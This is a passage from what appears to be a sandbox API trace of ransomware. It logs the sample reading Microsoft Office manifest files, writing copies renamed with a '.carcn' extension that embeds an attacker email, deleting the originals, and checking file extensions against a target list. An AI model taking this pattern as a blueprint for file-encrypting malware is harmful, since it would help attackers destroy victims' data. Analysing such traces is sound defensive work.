Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0178.817] GetLastError () returned 0x0 [0178.817] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x79381, lpOverlapped=0x0) returned 1 [0178.885] WriteFile (in: hFile=0x35c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x79390, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x79390, lpOverlapped=0x0) returned 1 [0178.892] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0178.893] WriteFile (in: hFile=0x35c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x13e, lpOverlapped=0x0) returned 1 [0178.893] SetEndOfFile (hFile=0x35c) returned 1 [0178.893] CloseHandle (hObject=0x35c) returned 1 [0178.900] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.901] SetEndOfFile (hFile=0x364) returned 1 [0180.338] CloseHandle (hObject=0x364) returned 1 [0180.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0180.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 1 [0180.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0180.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0180.339] lstrlenW (lpString=".doc") returned 4 [0180.339] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0180.339] lstrlenW (lpString=".docx") returned 5 [0180.339] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0180.339] lstrlenW (lpString=".pdf") returned 4 [0180.339] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0180.339] lstrlenW (lpString=".xls") returned 4 [0180.339] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0180.339] lstrlenW (lpString=".xlsx") returned 5 [0180.339] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0180.339] lstrlenW (lpString=".ppt") returned 4 [0180.339] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0180.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0180.339] lstrlenW (lpString=".zip") returned 4 [0180.339] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0180.339] lstrlenW (lpString=".rar") returned 4 [0180.339] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0180.339] lstrlenW (lpString=".bz2") returned 4 [0180.339] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0180.339] lstrlenW (lpString=".7z") returned 3 [0180.339] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0180.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0180.339] lstrlenW (lpString=".dbf") returned 4 [0180.339] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0180.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0180.340] lstrlenW (lpString=".1cd") returned 4 [0180.340] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0180.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0180.340] lstrlenW (lpString=".jpg") returned 4 [0180.340] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0180.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0180.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0180.340] lstrlenW (lpString=".doc") returned 4 [0180.340] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0180.340] lstrlenW (lpString=".docx") returned 5 [0180.340] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0180.340] lstrlenW (lpString=".pdf") returned 4 [0180.340] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0180.340] lstrlenW (lpString=".xls") returned 4 [0180.340] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0180.340] lstrlenW (lpString=".xlsx") returned 5 [0180.340] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0180.340] lstrlenW (lpString=".ppt") returned 4 [0180.340] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0180.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0180.340] lstrlenW (lpString=".zip") returned 4 [0180.340] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0180.340] lstrlenW (lpString=".rar") returned 4 [0180.340] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0180.340] lstrlenW (lpString=".bz2") returned 4 [0180.340] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0180.341] lstrlenW (lpString=".7z") returned 3 [0180.341] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0180.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0180.341] lstrlenW (lpString=".dbf") returned 4 [0180.341] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0180.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0180.341] lstrlenW (lpString=".1cd") returned 4 [0180.341] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0180.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0180.341] lstrlenW (lpString=".jpg") returned 4 [0180.341] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0180.341] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0180.341] lstrlenW (lpString="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 53 [0180.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0180.342] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=763363) returned 1 [0180.342] CloseHandle (hObject=0x364) returned 1 [0180.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0x220 [0180.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0180.343] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0180.343] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0180.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0180.343] GetLastError () returned 0x0 [0180.343] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0xba5e3, lpOverlapped=0x0) returned 1 [0180.375] WriteFile (in: hFile=0x360, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xba5f0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xba5f0, lpOverlapped=0x0) returned 1 [0180.387] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0180.387] WriteFile (in: hFile=0x360, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x13e, lpOverlapped=0x0) returned 1 [0180.387] SetEndOfFile (hFile=0x360) returned 1 [0180.387] CloseHandle (hObject=0x360) returned 1 [0181.547] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0181.547] SetEndOfFile (hFile=0x364) returned 1 [0181.554] CloseHandle (hObject=0x364) returned 1 [0181.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0181.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 1 [0181.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0181.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0181.555] lstrlenW (lpString=".doc") returned 4 [0181.555] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.555] lstrlenW (lpString=".docx") returned 5 [0181.555] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.555] lstrlenW (lpString=".pdf") returned 4 [0181.555] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.555] lstrlenW (lpString=".xls") returned 4 [0181.555] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.555] lstrlenW (lpString=".xlsx") returned 5 [0181.555] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.555] lstrlenW (lpString=".ppt") returned 4 [0181.555] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0181.555] lstrlenW (lpString=".zip") returned 4 [0181.555] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.555] lstrlenW (lpString=".rar") returned 4 [0181.555] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.556] lstrlenW (lpString=".bz2") returned 4 [0181.556] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.556] lstrlenW (lpString=".7z") returned 3 [0181.556] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0181.556] lstrlenW (lpString=".dbf") returned 4 [0181.556] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0181.556] lstrlenW (lpString=".1cd") returned 4 [0181.556] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0181.556] lstrlenW (lpString=".jpg") returned 4 [0181.556] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0181.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0181.556] lstrlenW (lpString=".doc") returned 4 [0181.556] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.556] lstrlenW (lpString=".docx") returned 5 [0181.556] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.556] lstrlenW (lpString=".pdf") returned 4 [0181.556] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.556] lstrlenW (lpString=".xls") returned 4 [0181.556] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.556] lstrlenW (lpString=".xlsx") returned 5 [0181.556] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.556] lstrlenW (lpString=".ppt") returned 4 [0181.556] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0181.556] lstrlenW (lpString=".zip") returned 4 [0181.556] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.556] lstrlenW (lpString=".rar") returned 4 [0181.556] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.556] lstrlenW (lpString=".bz2") returned 4 [0181.556] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.556] lstrlenW (lpString=".7z") returned 3 [0181.556] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0181.557] lstrlenW (lpString=".dbf") returned 4 [0181.557] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0181.557] lstrlenW (lpString=".1cd") returned 4 [0181.557] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0181.557] lstrlenW (lpString=".jpg") returned 4 [0181.557] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.557] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0181.557] lstrlenW (lpString="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 53 [0181.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0181.557] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=1261) returned 1 [0181.557] CloseHandle (hObject=0x364) returned 1 [0181.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0x220 [0181.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0181.558] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0181.558] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0181.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0181.558] GetLastError () returned 0x0 [0181.558] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x4ed, lpOverlapped=0x0) returned 1 [0181.635] WriteFile (in: hFile=0x304, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x4f0, lpOverlapped=0x0) returned 1 [0181.636] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0181.636] WriteFile (in: hFile=0x304, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x13e, lpOverlapped=0x0) returned 1 [0181.636] SetEndOfFile (hFile=0x304) returned 1 [0181.636] CloseHandle (hObject=0x304) returned 1 [0181.636] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0181.636] SetEndOfFile (hFile=0x364) returned 1 [0181.637] CloseHandle (hObject=0x364) returned 1 [0181.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0181.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 1 [0181.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0181.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0181.639] lstrlenW (lpString=".doc") returned 4 [0181.639] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.639] lstrlenW (lpString=".docx") returned 5 [0181.639] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.639] lstrlenW (lpString=".pdf") returned 4 [0181.639] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.639] lstrlenW (lpString=".xls") returned 4 [0181.639] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.639] lstrlenW (lpString=".xlsx") returned 5 [0181.639] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.639] lstrlenW (lpString=".ppt") returned 4 [0181.639] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0181.639] lstrlenW (lpString=".zip") returned 4 [0181.639] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.639] lstrlenW (lpString=".rar") returned 4 [0181.639] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.639] lstrlenW (lpString=".bz2") returned 4 [0181.640] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.640] lstrlenW (lpString=".7z") returned 3 [0181.640] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0181.640] lstrlenW (lpString=".dbf") returned 4 [0181.640] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0181.640] lstrlenW (lpString=".1cd") returned 4 [0181.640] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0181.640] lstrlenW (lpString=".jpg") returned 4 [0181.640] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0181.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0181.640] lstrlenW (lpString=".doc") returned 4 [0181.640] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.640] lstrlenW (lpString=".docx") returned 5 [0181.640] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.640] lstrlenW (lpString=".pdf") returned 4 [0181.640] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.640] lstrlenW (lpString=".xls") returned 4 [0181.640] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.640] lstrlenW (lpString=".xlsx") returned 5 [0181.640] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.640] lstrlenW (lpString=".ppt") returned 4 [0181.640] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0181.640] lstrlenW (lpString=".zip") returned 4 [0181.640] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.640] lstrlenW (lpString=".rar") returned 4 [0181.640] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.642] lstrlenW (lpString=".bz2") returned 4 [0181.642] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.642] lstrlenW (lpString=".7z") returned 3 [0181.642] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0181.642] lstrlenW (lpString=".dbf") returned 4 [0181.642] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0181.642] lstrlenW (lpString=".1cd") returned 4 [0181.642] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0181.642] lstrlenW (lpString=".jpg") returned 4 [0181.643] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.643] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0181.643] lstrlenW (lpString="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 53 [0181.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0181.643] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=343329) returned 1 [0181.643] CloseHandle (hObject=0x364) returned 1 [0181.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft 